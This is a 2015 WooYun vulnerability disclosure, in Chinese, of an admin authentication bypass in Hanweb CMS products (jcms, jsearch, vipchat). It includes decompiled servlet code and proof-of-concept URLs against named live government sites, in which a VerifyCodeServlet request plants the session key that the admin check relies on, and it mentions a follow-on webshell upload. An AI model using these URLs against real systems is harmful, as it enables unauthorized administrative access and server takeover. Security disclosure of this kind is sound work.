当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107138

漏洞标题:大汉网络0day通杀所有系统和版本

相关厂商:南京大汉网络有限公司

漏洞作者: 矿主

提交时间:2015-04-10 18:12

修复时间:2015-07-14 10:38

公开时间:2015-07-14 10:38

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-10: 细节已通知厂商并且等待厂商处理中
2015-04-15: 厂商已经确认,细节仅向厂商公开
2015-04-18: 细节向第三方安全合作伙伴开放
2015-06-09: 细节向核心白帽子及相关领域专家公开
2015-06-19: 细节向普通白帽子公开
2015-06-29: 细节向实习白帽子公开
2015-07-14: 细节向公众公开

简要描述:

管理后台权限绕过,进入后台后轻松GetShell,
经验证通杀所有系统和版本,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。
我估计这是大汉影响范围最大的漏洞了。求加精!

详细说明:

Setup目录Session权限绕过:

代码分析 /jcms/setup/opr_licenceinfo.jsp :
//获取Session中cookie_username的值,赋值给strUser
String strUser = (String)sessions.getAttribute("cookie_username");
// 判断strUser值 是否为空?
if( strUser == null || strUser.trim().length() == 0 ) {
out.println('请先登录!')
return;
} //如果为空,则未登录,直接返回
// 如果不为空,说明已经登录


逆向java servlet 的代码 /VerifyCodeServlet

// 获取请求参数 var,赋值给 strVar 
String strVar = Convert.getParameter(request, "var", "");
if(strVar == null){
request.getSession().setAttribute("COMPLAT", str_code); // 将随机码保存到SESSION中
}else{
// 如果 strVar 不为空的话,创建 strVar 为名称的 SESSION 值
request.getSession().setAttribute(strVar, str_code); // 将随机码保存到SESSION中
}
所以通过参数 var, 就可以控制SESSION的名称的创建


通过两个程序的分析,整理一下:
1. opr_licenceinfo.jsp需要一个SESSION cookie_username 不为空,就可以成功登录
2. /VerifyCodeServlet 可以 创建任意 SESSION的key值
所以两者配合,就可以构造成功登录了。

漏洞证明:

直接访问opr_licenceinfo.jsp 需要登录
http://www.zgzhijiang.gov.cn/jcms/setup/opr_licenceinfo.jsp

1.png


添加一个Session值 cookie_username
http://www.zgzhijiang.gov.cn/jcms/VerifyCodeServlet?var=cookie_username

1.png


然后再次访问/jcms/setup/opr_licenceinfo.jsp,成功登录。

1.png


Licence文件上传webshell漏洞,不演示了,参考:http://wooyun.org/bugs/wooyun-2010-052699
vipchat 的 POC:
http://sdds.gov.cn/vipchat/setup/
http://sdds.gov.cn/vipchat/VerifyCodeServlet?var=cookie_username
http://sdds.gov.cn/vipchat/setup/admin.jsp

1.png


jsearch 的 POC:
http://www.hyhjbh.com/jsearch/setup/
http://www.hyhjbh.com/jsearch/VerifyCodeServlet?var=cookie_username
http://www.hyhjbh.com/jsearch/setup/opr_licenceinfo.jsp

1.png


其他的大汉系统,就不一一罗列了,
这算是一个VerifyCodeServlet组件的逻辑漏洞吧,
大汉的所有系统都包含VerifyCodeServlet这个组件,用于生成验证码,
所以导致了所有系统的通杀,影响范围非常广了。
注意:
1. 有一些站点,访问setup目录,返回403,禁止了访问。
2. 大汉2015新版,不影响。

1.png


修复方案:

修复VerifyCodeServlet组件的逻辑。

版权声明:转载请注明来源 矿主@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-04-15 10:36

厂商回复:

最新状态:

暂无